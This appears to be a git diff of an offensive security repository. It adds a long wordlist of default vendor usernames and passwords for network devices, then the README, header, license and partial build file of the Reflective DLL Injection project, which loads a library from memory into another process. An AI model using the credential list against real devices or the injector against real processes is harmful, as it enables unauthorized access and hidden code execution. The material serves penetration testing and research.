admin 22222
|
||||||
|
admin2 changeme
|
||||||
|
admin 3477
|
||||||
|
admin 3ascotel
|
||||||
|
admin 9999
|
||||||
|
admin access
|
||||||
|
admin admin
|
||||||
|
admin Admin
|
||||||
|
Admin admin
|
||||||
|
admin admin123
|
||||||
|
admin adminttd
|
||||||
|
admin adslolitec
|
||||||
|
admin adslroot
|
||||||
|
admin adtran
|
||||||
|
admin AitbISP4eCiG
|
||||||
|
admin articon
|
||||||
|
admin asante
|
||||||
|
admin ascend
|
||||||
|
admin Ascend
|
||||||
|
admin asd
|
||||||
|
admin atc123
|
||||||
|
admin atlantis
|
||||||
|
admin backdoor
|
||||||
|
admin barricade
|
||||||
|
admin barricadei
|
||||||
|
admin bintec
|
||||||
|
admin BRIDGE
|
||||||
|
admin cableroot
|
||||||
|
admin changeme
|
||||||
|
admin cisco
|
||||||
|
admin _Cisco
|
||||||
|
admin comcomcom
|
||||||
|
admin conexant
|
||||||
|
admin default
|
||||||
|
admin diamond
|
||||||
|
admin enter
|
||||||
|
admin epicrouter
|
||||||
|
admin extendnet
|
||||||
|
admin giraff
|
||||||
|
admin hagpolm1
|
||||||
|
admin hello
|
||||||
|
admin help
|
||||||
|
admin hp.com
|
||||||
|
admin Intel
|
||||||
|
admin ironport
|
||||||
|
admin isee
|
||||||
|
acc acc
|
||||||
|
adfexc adfexc
|
||||||
|
adm
|
||||||
|
admin kont2004
|
||||||
|
admin letmein
|
||||||
|
admin leviton
|
||||||
|
admin linga
|
||||||
|
admin michelangelo
|
||||||
|
admin microbusiness
|
||||||
|
admin MiniAP
|
||||||
|
admin motorola
|
||||||
|
admin mu
|
||||||
|
admin my_DEMARC
|
||||||
|
admin netadmin
|
||||||
|
admin NetCache
|
||||||
|
admin NetICs
|
||||||
|
admin noway
|
||||||
|
admin OCS
|
||||||
|
admin operator
|
||||||
|
admin P@55w0rd!
|
||||||
|
admin password
|
||||||
|
admin p-assword
|
||||||
|
admin PASSWORD
|
||||||
|
admin passwort
|
||||||
|
admin pento
|
||||||
|
admin pfsense
|
||||||
|
admin private
|
||||||
|
admin Protector
|
||||||
|
admin public
|
||||||
|
admin pwp
|
||||||
|
admin radius
|
||||||
|
admin rmnetlm
|
||||||
|
admin root
|
||||||
|
admin secure
|
||||||
|
admin setup
|
||||||
|
admin sitecom
|
||||||
|
admin smallbusiness
|
||||||
|
admin smcadmin
|
||||||
|
admin SMDR
|
||||||
|
admin speedxess
|
||||||
|
admin SUPER
|
||||||
|
admin superuser
|
||||||
|
admin switch
|
||||||
|
admin Symbol
|
||||||
|
admin synnet
|
||||||
|
admin sysAdmin
|
||||||
|
admin system
|
||||||
|
admin TANDBERG
|
||||||
|
admin visual
|
||||||
|
admin w2402
|
||||||
|
admin xad$|#12
|
||||||
|
admin xad$l#12
|
||||||
|
admin zoomadsl
|
||||||
|
system change_on_install
|
||||||
|
system/manager sys/change_on_install
|
||||||
|
system password
|
||||||
|
system sys
|
||||||
|
adminttd adminttd
|
||||||
|
adminuser OCS
|
||||||
|
adminview OCS
|
||||||
|
adminstat OCS
|
||||||
|
adminstrator changeme
|
||||||
|
Administrator 3ware
|
||||||
|
Administrator admin
|
||||||
|
administrator administrator
|
||||||
|
ADMINISTRATOR ADMINISTRATOR
|
||||||
|
administrator changeme
|
||||||
|
Administrator changeme
|
||||||
|
Administrator ganteng
|
||||||
|
Administrator letmein
|
||||||
|
Administrator password
|
||||||
|
Administrator pilou
|
||||||
|
Administrator smcadmin
|
||||||
|
ADMN admn
|
||||||
|
ami
|
||||||
|
anonymous any@
|
||||||
|
anonymous Exabyte
|
||||||
|
Any 12345
|
||||||
|
apc apc
|
||||||
|
at4400 at4400
|
||||||
|
bbsd-client changeme2
|
||||||
|
bbsd-client NULL
|
||||||
|
bciim bciimpw
|
||||||
|
bcim bcimpw
|
||||||
|
bcms bcmspw
|
||||||
|
bcnas bcnaspw
|
||||||
|
bcnas pcnaspw
|
||||||
|
blue bluepw
|
||||||
|
browse browsepw
|
||||||
|
browse looker
|
||||||
|
cablecom router
|
||||||
|
cablemodem robotics
|
||||||
|
cac_admin cacadmin
|
||||||
|
cas cascade
|
||||||
|
ccrusr ccrusr
|
||||||
|
cellit cellit
|
||||||
|
cgadmin cgadmin
|
||||||
|
cisco
|
||||||
|
cisco cisco
|
||||||
|
Cisco Cisco
|
||||||
|
citel citel
|
||||||
|
client client
|
||||||
|
cmaker cmaker
|
||||||
|
comcast 1234
|
||||||
|
corecess corecess
|
||||||
|
craft
|
||||||
|
craft craft
|
||||||
|
craft craftpw
|
||||||
|
craft crftpw
|
||||||
|
CSG SESAME
|
||||||
|
cusadmin highspeed
|
||||||
|
cust custpw
|
||||||
|
customer
|
||||||
|
customer none
|
||||||
|
dadmin dadmin01
|
||||||
|
davox davox
|
||||||
|
debug d.e.b.u.g
|
||||||
|
debug synnet
|
||||||
|
deskalt password
|
||||||
|
deskman changeme
|
||||||
|
desknorm password
|
||||||
|
deskres password
|
||||||
|
device device
|
||||||
|
dhs3mt dhs3mt
|
||||||
|
dhs3pms dhs3pms
|
||||||
|
diag danger
|
||||||
|
diag switch
|
||||||
|
disttech 4tas
|
||||||
|
D-Link D-Link
|
||||||
|
draytek 1234
|
||||||
|
DTA TJM
|
||||||
|
e250 e250changeme
|
||||||
|
e500 e500changeme
|
||||||
|
echo echo
|
||||||
|
echo User
|
||||||
|
enable
|
||||||
|
eng engineer
|
||||||
|
enquiry enquirypw
|
||||||
|
field support
|
||||||
|
GEN1 gen1
|
||||||
|
GEN2 gen2
|
||||||
|
GlobalAdmin GlobalAdmin
|
||||||
|
halt tlah
|
||||||
|
helpdesk OCS
|
||||||
|
hsa hsadb
|
||||||
|
hscroot abc123
|
||||||
|
HTTP HTTP
|
||||||
|
hydrasna
|
||||||
|
iclock timely
|
||||||
|
images images
|
||||||
|
inads inads
|
||||||
|
inads indspw
|
||||||
|
init initpw
|
||||||
|
installer installer
|
||||||
|
install llatsni
|
||||||
|
install secret
|
||||||
|
intel intel
|
||||||
|
intermec intermec
|
||||||
|
intermec intermec1QTPS
|
||||||
|
IntraStack Asante
|
||||||
|
IntraSwitch Asante
|
||||||
|
jagadmin
|
||||||
|
JDE JDE
|
||||||
|
kermit kermit
|
||||||
|
l2 l2
|
||||||
|
l3 l3
|
||||||
|
locate locatepw
|
||||||
|
login 0
|
||||||
|
login 1111
|
||||||
|
login 8429
|
||||||
|
login access
|
||||||
|
login admin
|
||||||
|
login password
|
||||||
|
lp lp
|
||||||
|
LUCENT01 UI-PSWD-01
|
||||||
|
LUCENT02 UI-PSWD-02
|
||||||
|
m1122 m1122
|
||||||
|
mac
|
||||||
|
maint maint
|
||||||
|
maint maintpw
|
||||||
|
maint ntacdmax
|
||||||
|
maint rwmaint
|
||||||
|
manage !manage
|
||||||
|
manager admin
|
||||||
|
manager change_on_install
|
||||||
|
manager friend
|
||||||
|
Manager friend
|
||||||
|
manager manager
|
||||||
|
Manager Manager
|
||||||
|
manager sys
|
||||||
|
manuf xxyyzz
|
||||||
|
MDaemon MServer
|
||||||
|
mediator mediator
|
||||||
|
MICRO RSX
|
||||||
|
mlusr mlusr
|
||||||
|
monitor monitor
|
||||||
|
mtch mtch
|
||||||
|
mtcl
|
||||||
|
mtcl mtcl
|
||||||
|
naadmin naadmin
|
||||||
|
NAU NAU
|
||||||
|
netangr attack
|
||||||
|
netman
|
||||||
|
netman netman
|
||||||
|
netopia netopia
|
||||||
|
netrangr attack
|
||||||
|
netscreen netscreen
|
||||||
|
NETWORK NETWORK
|
||||||
|
NICONEX NICONEX
|
||||||
|
nms nmspw
|
||||||
|
nokai nokai
|
||||||
|
nokia nokia
|
||||||
|
none 0
|
||||||
|
none admin
|
||||||
|
operator
|
||||||
|
operator 1234
|
||||||
|
operator $chwarzepumpe
|
||||||
|
operator operator
|
||||||
|
op op
|
||||||
|
op operator
|
||||||
|
patrol patrol
|
||||||
|
PBX PBX
|
||||||
|
PFCUser 240653C9467E45
|
||||||
|
piranha piranha
|
||||||
|
piranha q
|
||||||
|
pmd
|
||||||
|
poll tech
|
||||||
|
Polycom SpIp
|
||||||
|
PRODDTA PRODDTA
|
||||||
|
PSEAdmin $secure$
|
||||||
|
public
|
||||||
|
public public
|
||||||
|
radware radware
|
||||||
|
rapport r@p8p0r+
|
||||||
|
rcust rcustpw
|
||||||
|
readonly lucenttech2
|
||||||
|
readwrite lucenttech1
|
||||||
|
recovery recovery
|
||||||
|
replicator replicator
|
||||||
|
RMUser1 password
|
||||||
|
sa
|
||||||
|
scmadmin scmchangeme
|
||||||
|
scout scout
|
||||||
|
secret secret
|
||||||
|
secure secure
|
||||||
|
security security
|
||||||
|
service smile
|
||||||
|
setup changeme
|
||||||
|
setup changeme!
|
||||||
|
setup setup
|
||||||
|
smc smcadmin
|
||||||
|
spcl 0
|
||||||
|
storwatch specialist
|
||||||
|
stratacom stratauser
|
||||||
|
super 5777364
|
||||||
|
superadmin secret
|
||||||
|
superman 21241036
|
||||||
|
superman talent
|
||||||
|
super super
|
||||||
|
super.super
|
||||||
|
super.super master
|
||||||
|
super surt
|
||||||
|
superuser
|
||||||
|
superuser 123456
|
||||||
|
superuser admin
|
||||||
|
supervisor PlsChgMe!
|
||||||
|
supervisor PlsChgMe1
|
||||||
|
supervisor supervisor
|
||||||
|
support h179350
|
||||||
|
support support
|
||||||
|
support supportpw
|
||||||
|
su super
|
||||||
|
Sweex Mysweex
|
||||||
|
sysadm Admin
|
||||||
|
sysadm anicust
|
||||||
|
sysadmin PASS
|
||||||
|
sysadmin password
|
||||||
|
sysadmin sysadmin
|
||||||
|
sysadm PASS
|
||||||
|
sysadm sysadm
|
||||||
|
SYSADM sysadm
|
||||||
|
sys uplink
|
||||||
|
target password
|
||||||
|
teacher password
|
||||||
|
tech
|
||||||
|
tech ANYCOM
|
||||||
|
tech field
|
||||||
|
tech ILMI
|
||||||
|
tech tech
|
||||||
|
telco telco
|
||||||
|
telecom telecom
|
||||||
|
tellabs tellabs#1
|
||||||
|
temp1 password
|
||||||
|
test test
|
||||||
|
tiara tiaranet
|
||||||
|
tiger tiger123
|
||||||
|
topicalt password
|
||||||
|
topicnorm password
|
||||||
|
topicres password
|
||||||
|
user
|
||||||
|
USERID PASSW0RD
|
||||||
|
user pass
|
||||||
|
user password
|
||||||
|
User Password
|
||||||
|
user public
|
||||||
|
user tivonpw
|
||||||
|
user user
|
||||||
|
vcr NetVCR
|
||||||
|
VNC winterm
|
||||||
|
volition volition
|
||||||
|
vt100 public
|
||||||
|
VTech VTech
|
||||||
|
webadmin 1234
|
||||||
|
webadmin webadmin
|
||||||
|
websecadm changeme
|
||||||
|
wlse wlsedb
|
||||||
|
wradmin trancell
|
||||||
|
write private
|
||||||
|
xd xd
|
||||||
|
xxx cascade
|
||||||
|
ZXDSL ZXDSL
|
|
@ -0,0 +1,17 @@
|
||||||
|
Release/
|
||||||
|
Debug/
|
||||||
|
x64/
|
||||||
|
dll/Release/
|
||||||
|
dll/Debug/
|
||||||
|
dll/reflective_dll.vcproj.*.user
|
||||||
|
dll/reflective_dll.vcxproj.user
|
||||||
|
inject/Release/
|
||||||
|
inject/Debug/
|
||||||
|
inject/inject.vcproj.*.user
|
||||||
|
inject/inject.vcxproj.user
|
||||||
|
*.ncb
|
||||||
|
*.suo
|
||||||
|
*.sdf
|
||||||
|
*.opensdf
|
||||||
|
*.suo
|
||||||
|
bin/
|
|
@ -0,0 +1,25 @@
|
||||||
|
Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||||
|
All rights reserved.
|
||||||
|
|
||||||
|
Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||||
|
provided that the following conditions are met:
|
||||||
|
|
||||||
|
* Redistributions of source code must retain the above copyright notice, this list of
|
||||||
|
conditions and the following disclaimer.
|
||||||
|
|
||||||
|
* Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||||
|
conditions and the following disclaimer in the documentation and/or other materials provided
|
||||||
|
with the distribution.
|
||||||
|
|
||||||
|
* Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||||
|
endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
|
||||||
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||||
|
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||||
|
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||||
|
OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
POSSIBILITY OF SUCH DAMAGE.
|
|
@ -0,0 +1,40 @@
|
||||||
|
About
|
||||||
|
=====
|
||||||
|
|
||||||
|
Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. As such the library is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader. It can then govern, with minimal interaction with the host system and process, how it will load and interact with the host.
|
||||||
|
|
||||||
|
Injection works from Windows NT4 up to and including Windows 8, running on x86, x64 and ARM where applicable.
|
||||||
|
|
||||||
|
Overview
|
||||||
|
========
|
||||||
|
|
||||||
|
The process of remotely injecting a library into a process is two fold. Firstly, the library you wish to inject must be written into the address space of the target process (Herein referred to as the host process). Secondly the library must be loaded into that host process in such a way that the library's run time expectations are met, such as resolving its imports or relocating it to a suitable location in memory.
|
||||||
|
|
||||||
|
Assuming we have code execution in the host process and the library we wish to inject has been written into an arbitrary location of memory in the host process, Reflective DLL Injection works as follows.
|
||||||
|
|
||||||
|
* Execution is passed, either via CreateRemoteThread() or a tiny bootstrap shellcode, to the library's ReflectiveLoader function which is an exported function found in the library's export table.
|
||||||
|
* As the library's image will currently exists in an arbitrary location in memory the ReflectiveLoader will first calculate its own image's current location in memory so as to be able to parse its own headers for use later on.
|
||||||
|
* The ReflectiveLoader will then parse the host processes kernel32.dll export table in order to calculate the addresses of three functions required by the loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc.
|
||||||
|
* The ReflectiveLoader will now allocate a continuous region of memory into which it will proceed to load its own image. The location is not important as the loader will correctly relocate the image later on.
|
||||||
|
* The library's headers and sections are loaded into their new locations in memory.
|
||||||
|
* The ReflectiveLoader will then process the newly loaded copy of its image's import table, loading any additional library's and resolving their respective imported function addresses.
|
||||||
|
* The ReflectiveLoader will then process the newly loaded copy of its image's relocation table.
|
||||||
|
* The ReflectiveLoader will then call its newly loaded image's entry point function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully loaded into memory.
|
||||||
|
* Finally the ReflectiveLoader will return execution to the initial bootstrap shellcode which called it, or if it was called via CreateRemoteThread, the thread will terminate.
|
||||||
|
|
||||||
|
Build
|
||||||
|
=====
|
||||||
|
|
||||||
|
Open the 'rdi.sln' file in Visual Studio C++ and build the solution in Release mode to make inject.exe and reflective_dll.dll
|
||||||
|
|
||||||
|
Usage
|
||||||
|
=====
|
||||||
|
|
||||||
|
To test use the inject.exe to inject reflective_dll.dll into a host process via a process id, e.g.:
|
||||||
|
|
||||||
|
> inject.exe 1234
|
||||||
|
|
||||||
|
License
|
||||||
|
=======
|
||||||
|
|
||||||
|
Licensed under a 3 clause BSD license, please see LICENSE.txt for details.
|
|
@ -0,0 +1,53 @@
|
||||||
|
//===============================================================================================//
|
||||||
|
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||||
|
// provided that the following conditions are met:
|
||||||
|
//
|
||||||
|
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer.
|
||||||
|
//
|
||||||
|
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||||
|
// with the distribution.
|
||||||
|
//
|
||||||
|
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||||
|
// endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
//
|
||||||
|
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||||
|
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||||
|
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||||
|
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||||
|
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
// POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
//===============================================================================================//
|
||||||
|
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||||
|
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||||
|
//===============================================================================================//
|
||||||
|
#define WIN32_LEAN_AND_MEAN
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
// we declare some common stuff in here...
|
||||||
|
|
||||||
|
#define DLL_METASPLOIT_ATTACH 4
|
||||||
|
#define DLL_METASPLOIT_DETACH 5
|
||||||
|
#define DLL_QUERY_HMODULE 6
|
||||||
|
|
||||||
|
#define DEREF( name )*(UINT_PTR *)(name)
|
||||||
|
#define DEREF_64( name )*(DWORD64 *)(name)
|
||||||
|
#define DEREF_32( name )*(DWORD *)(name)
|
||||||
|
#define DEREF_16( name )*(WORD *)(name)
|
||||||
|
#define DEREF_8( name )*(BYTE *)(name)
|
||||||
|
|
||||||
|
typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID );
|
||||||
|
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
|
||||||
|
|
||||||
|
#define DLLEXPORT __declspec( dllexport )
|
||||||
|
|
||||||
|
//===============================================================================================//
|
||||||
|
#endif
|
||||||
|
//===============================================================================================//
|
|
@ -0,0 +1,273 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|ARM">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>ARM</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Debug|x64">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|ARM">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>ARM</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|x64">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<ProjectGuid>{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}</ProjectGuid>
|
||||||
|
<RootNamespace>reflective_dll</RootNamespace>
|
||||||
|
<Keyword>Win32Proj</Keyword>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup>
|
||||||
|
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
||||||
|
<IntDir>$(Configuration)\</IntDir>
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
||||||
|
<IntDir>$(Platform)\$(Configuration)\</IntDir>
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
||||||
|
<IntDir>$(Configuration)\</IntDir>
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
||||||
|
<IntDir>$(Platform)\$(Configuration)\</IntDir>
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<MinimalRebuild>true</MinimalRebuild>
|
||||||
|
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||||
|
<PrecompiledHeader />
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
|
||||||
|
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<TargetMachine>MachineX86</TargetMachine>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<MinimalRebuild>true</MinimalRebuild>
|
||||||
|
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||||
|
<PrecompiledHeader>
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
|
||||||
|
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
